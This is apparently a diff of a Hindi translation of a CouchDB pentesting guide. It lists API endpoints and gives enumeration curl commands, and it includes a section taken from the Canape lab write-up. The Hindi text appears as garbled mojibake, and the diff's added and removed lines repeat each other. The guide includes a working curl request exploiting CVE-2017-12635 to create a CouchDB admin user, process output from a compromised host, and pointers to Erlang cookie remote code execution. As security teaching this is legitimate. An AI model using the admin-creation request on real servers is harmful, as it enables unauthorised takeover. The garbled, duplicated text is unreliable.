рдкрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВред +- **`/_scheduler/jobs`** рдкреБрдирд░реБрддреНрдкрд╛рджрди рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕реВрдЪреАред рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рд╡рд┐рд╡рд░рдг рдореЗрдВ рд╕реНрд░реЛрдд рдФрд░ рд▓рдХреНрд╖реНрдп рдЬрд╛рдирдХрд╛рд░реА, рдкреБрдирд░реБрддреНрдкрд╛рджрди ID, рд╣рд╛рд▓ рдХреА рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕, рдФрд░ рдХреБрдЫ рдЕрдиреНрдп рдЪреАрдЬреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВрдЧреАред - **`/_scheduler/docs`** рдкреБрдирд░реБрддреНрдкрд╛рджрди рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд░рд╛рдЬреНрдпреЛрдВ рдХреА рд╕реВрдЪреАред рдЗрд╕рдореЗрдВ рд╕рднреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╢рд╛рдорд┐рд▓ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ `completed` рдФрд░ `failed` рд░рд╛рдЬреНрдпреЛрдВ рдореЗрдВ рднреАред рдкреНрд░рддреНрдпреЗрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рд▓рд┐рдП рдпрд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ ID, рдбреЗрдЯрд╛рдмреЗрд╕, рдкреБрдирд░реБрддреНрдкрд╛рджрди ID, рд╕реНрд░реЛрдд рдФрд░ рд▓рдХреНрд╖реНрдп, рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рд▓реМрдЯрд╛рддрд╛ рд╣реИред - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** - **`/_node/{node-name}`** `/_node/{node-name}` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕ рд╕рд░реНрд╡рд░ рдХреЗ Erlang рдиреЛрдб рдирд╛рдо рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ `/_node/_local` рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдкрд░ рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИред -- **`/_node/{node-name}/_stats`** `_stats` рд╕рдВрд╕рд╛рдзрди рдПрдХ JSON рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рд╣реЛрддреА рд╣реИред рд╢рд╛рдмреНрджрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ `_local` рд╕реНрдерд╛рдиреАрдп рдиреЛрдб рдирд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рднреА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА URL рдХреЗ рд▓рд┐рдП, `{node-name}` рдХреЛ `_local` рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕реНрдерд╛рдиреАрдп рдиреЛрдб рдХреА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред -- **`/_node/{node-name}/_system`** \_system рд╕рдВрд╕рд╛рдзрди рдПрдХ JSON рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо-рд╕реНрддрд░реАрдп рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рд╣реЛрддреА рд╣реИред рдЖрдк рд╡рд░реНрддрдорд╛рди рдиреЛрдб рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП {node-name} рдХреЗ рд░реВрдк рдореЗрдВ \_\_`_local` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **`/_node/{node-name}/_stats`** `_stats` рд╕рдВрд╕рд╛рдзрди рдПрдХ JSON рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рд╣реЛрддреА рд╣реИред рд╢рд╛рдмреНрджрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ `_local` рд╕реНрдерд╛рдиреАрдп рдиреЛрдб рдирд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рднреА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА URL рдХреЗ рд▓рд┐рдП, `{node-name}` рдХреЛ `_local` рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддрд╛рдХрд┐ рд╕реНрдерд╛рдиреАрдп рдиреЛрдб рдХреА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреА рдЬрд╛ рд╕рдХреЗред +- **`/_node/{node-name}/_system`** \_systemresource рдПрдХ JSON рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо-рд╕реНрддрд░реАрдп рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рд╣реЛрддреА рд╣реИред рдЖрдк рд╡рд░реНрддрдорд╛рди рдиреЛрдб рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП {node-name} рдХреЗ рд░реВрдк рдореЗрдВ \_\_`_local` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - **`/_node/{node-name}/_restart`** - **`/_up`** рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЪрд╛рд▓реВ рд╣реИ, рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рдФрд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИред рдпрджрд┐ [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` рдпрд╛ `nolb` рд╣реИ, рддреЛ рдПрдВрдбрдкреЙрдЗрдВрдЯ 404 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓реМрдЯрд╛рдПрдЧрд╛ред -- \*\*`/_uuids`\*\* CouchDB рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдпреВрдирд┐рд╡рд░реНрд╕рд▓реА рдпреВрдирд┐рдХ рдЖрдЗрдбреЗрдВрдЯрд┐рдлрд╛рдпрд░ (UUIDs) рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред -- \*\*`/_reshard`\*\* рдкреВрд░реНрдг, рд╡рд┐рдлрд▓, рдЪрд▓ рд░рд╣реЗ, рд░реБрдХреЗ рд╣реБрдП, рдФрд░ рдХреБрд▓ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рдкреБрдирдГрд╢рд╛рд░реНрджрди рдХреА рд╕реНрдерд┐рддрд┐ рд▓реМрдЯрд╛рддрд╛ рд╣реИред +- **`/_uuids`** CouchDB рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдпреВрдирд┐рд╡рд░реНрд╕рд▓реА рдпреВрдирд┐рдХ рдЖрдЗрдбреЗрдВрдЯрд┐рдлрд╛рдпрд░ (UUIDs) рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред +- **`/_reshard`** рдкреВрд░реНрдг, рд╡рд┐рдлрд▓, рдЪрд▓ рд░рд╣реЗ, рд░реБрдХреЗ рд╣реБрдП, рдФрд░ рдХреБрд▓ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рдкреБрдирдГрд╢рд╛рд░реНрджрди рдХреА рд╕реНрдерд┐рддрд┐ рд▓реМрдЯрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рд╕рдордЭрд╛рдП рдЧрдП рдЕрдиреБрд╕рд╛рд░ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХрддреА рд╣реИ: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) @@ -78,7 +78,7 @@ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` -### **рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реВрдЪреА** +### **Document List** рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ ```bash @@ -104,9 +104,9 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` -## CouchDB рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) +## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) -Erlang рдФрд░ JavaScript JSON рдкрд╛рд░реНрд╕рд░реНрд╕ рдХреЗ рдмреАрдЪ рдХреЗ рдЕрдВрддрд░ рдХреЗ рдХрд╛рд░рдг рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде **рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ `hacktricks:hacktricks` рд╣реИрдВ: +Erlang рдФрд░ JavaScript JSON рдкрд╛рд░реНрд╕рд░реНрд╕ рдХреЗ рдмреАрдЪ рдХреЗ рдЕрдВрддрд░ рдХреЗ рдХрд╛рд░рдг рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде **рдПрдХ рдПрдбрдорд┐рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ `hacktricks:hacktricks` рд╣реИрдВ: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` @@ -118,22 +118,22 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[] рдЙрджрд╛рд╣рд░рдг [рдпрд╣рд╛рдБ рд╕реЗ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -CouchDB рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯ-рдЕрдк рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдиреБрднрд╛рдЧ рдореЗрдВ ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), рдХреНрд▓рд╕реНрдЯрд░ рдореЛрдб рдореЗрдВ CouchDB рджреНрд╡рд╛рд░рд╛ рдкреЛрд░реНрдЯ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рд╣реИред рдЗрд╕рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐, рд╕реНрдЯреИрдВрдбрдЕрд▓реЛрди рдореЛрдб рдХреА рддрд░рд╣, рдкреЛрд░реНрдЯ `5984` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкреЛрд░реНрдЯ `5986` рдиреЛрдб-рд╕реНрдерд╛рдиреАрдп APIs рдХреЗ рд▓рд┐рдП рд╣реИ, рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ, Erlang рдХреЛ Erlang рдкреЛрд░реНрдЯ рдореИрдкрд░ рдбреЗрдорди (EPMD) рдХреЗ рд▓рд┐рдП TCP рдкреЛрд░реНрдЯ `4369` рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ Erlang рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рднреАрддрд░ рдиреЛрдб рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрдЕрдк рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд░рддреНрдпреЗрдХ рдиреЛрдб рд╣рд░ рдЕрдиреНрдп рдиреЛрдб рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд▓рд┐рдВрдХ рд╣реЛрддрд╛ рд╣реИред +CouchDB рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯ-рдЕрдк рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), рдХреНрд▓рд╕реНрдЯрд░ рдореЛрдб рдореЗрдВ CouchDB рджреНрд╡рд╛рд░рд╛ рдкреЛрд░реНрдЯ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рд╣реИред рдЗрд╕рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐, рд╕реНрдЯреИрдВрдбрдЕрд▓реЛрди рдореЛрдб рдХреА рддрд░рд╣, рдкреЛрд░реНрдЯ `5984` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкреЛрд░реНрдЯ `5986` рдиреЛрдб-рд╕реНрдерд╛рдиреАрдп APIs рдХреЗ рд▓рд┐рдП рд╣реИ, рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ, Erlang рдХреЛ Erlang рдкреЛрд░реНрдЯ рдореИрдкрд░ рдбреЗрдорди (EPMD) рдХреЗ рд▓рд┐рдП TCP рдкреЛрд░реНрдЯ `4369` рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ Erlang рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рднреАрддрд░ рдиреЛрдб рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрдЕрдк рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд░рддреНрдпреЗрдХ рдиреЛрдб рд╣рд░ рдЕрдиреНрдп рдиреЛрдб рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд▓рд┐рдВрдХ рд╣реЛрддрд╛ рд╣реИред -рдкреЛрд░реНрдЯ `4369` рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣ рджреА рдЧрдИ рд╣реИред рдпрджрд┐ рдЗрд╕ рдкреЛрд░реНрдЯ рдХреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдпрд╛ рдХрд┐рд╕реА рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╕реБрд▓рдн рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ "рдХреБрдХреА" рдкрд░ рднрд╛рд░реА рд░реВрдк рд╕реЗ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред рдпрд╣ рдХреБрдХреА рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рджрд┐рдП рдЧрдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реВрдЪреА рдореЗрдВ, "monster" рдирд╛рдордХ рдХреБрдХреА рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдврд╛рдВрдЪреЗ рдореЗрдВ рдЗрд╕рдХреА рд╕рдВрдЪрд╛рд▓рди рднреВрдорд┐рдХрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИред +рдкреЛрд░реНрдЯ `4369` рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрджрд┐ рдЗрд╕ рдкреЛрд░реНрдЯ рдХреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдпрд╛ рдХрд┐рд╕реА рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╕реБрд▓рдн рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ "рдХреБрдХреА" рдкрд░ рднрд╛рд░реА рд░реВрдк рд╕реЗ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред рдпрд╣ рдХреБрдХреА рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рджрд┐рдП рдЧрдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реВрдЪреА рдореЗрдВ, "monster" рдирд╛рдордХ рдХреБрдХреА рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдврд╛рдВрдЪреЗ рдореЗрдВ рдЗрд╕рдХреА рд╕рдВрдЪрд╛рд▓рди рднреВрдорд┐рдХрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИред ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` -рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдпрд╣ рд╕рдордЭрдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ "рдХреБрдХреА" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ Remote Code Execution (RCE) рдХреЗ рд▓рд┐рдП Erlang рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдЖрдЧреЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд░реНрдкрд┐рдд рдЕрдиреБрднрд╛рдЧ рдЙрдкрд▓рдмреНрдз рд╣реИред рдпрд╣ рдЕрдирдзрд┐рдХреГрдд рддрд░реАрдХреЛрдВ рд╕реЗ Erlang рдХреБрдХреАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддрд╛ рд╣реИред рдЖрдк [**рдпрд╣рд╛рдВ RCE рдХреЗ рд▓рд┐рдП Erlang рдХреБрдХреАрдЬрд╝ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЧрд╛рдЗрдб рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)ред +рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдпрд╣ рд╕рдордЭрдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ "рдХреБрдХреА" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ Remote Code Execution (RCE) рдХреЗ рд▓рд┐рдП Erlang рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдЖрдЧреЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд░реНрдкрд┐рдд рдЕрдиреБрднрд╛рдЧ рдЙрдкрд▓рдмреНрдз рд╣реИред рдпрд╣ рдЕрдирдзрд┐рдХреГрдд рддрд░реАрдХреЛрдВ рд╕реЗ Erlang рдХреБрдХреАрдЬрд╝ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЖрдк [**рдпрд╣рд╛рдВ RCE рдХреЗ рд▓рд┐рдП Erlang рдХреБрдХреАрдЬрд╝ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)ред ### **local.ini рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ CVE-2018-8007 рдХрд╛ рд╢реЛрд╖рдг** рдЙрджрд╛рд╣рд░рдг [рдпрд╣рд╛рдВ рд╕реЗ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)ред -рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдкреНрд░рдХрдЯ рд╣реБрдИ рдПрдХ рднреЗрджреНрдпрддрд╛, CVE-2018-8007, рдЬреЛ Apache CouchDB рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ, рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП `local.ini` рдлрд╝рд╛рдЗрд▓ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреА 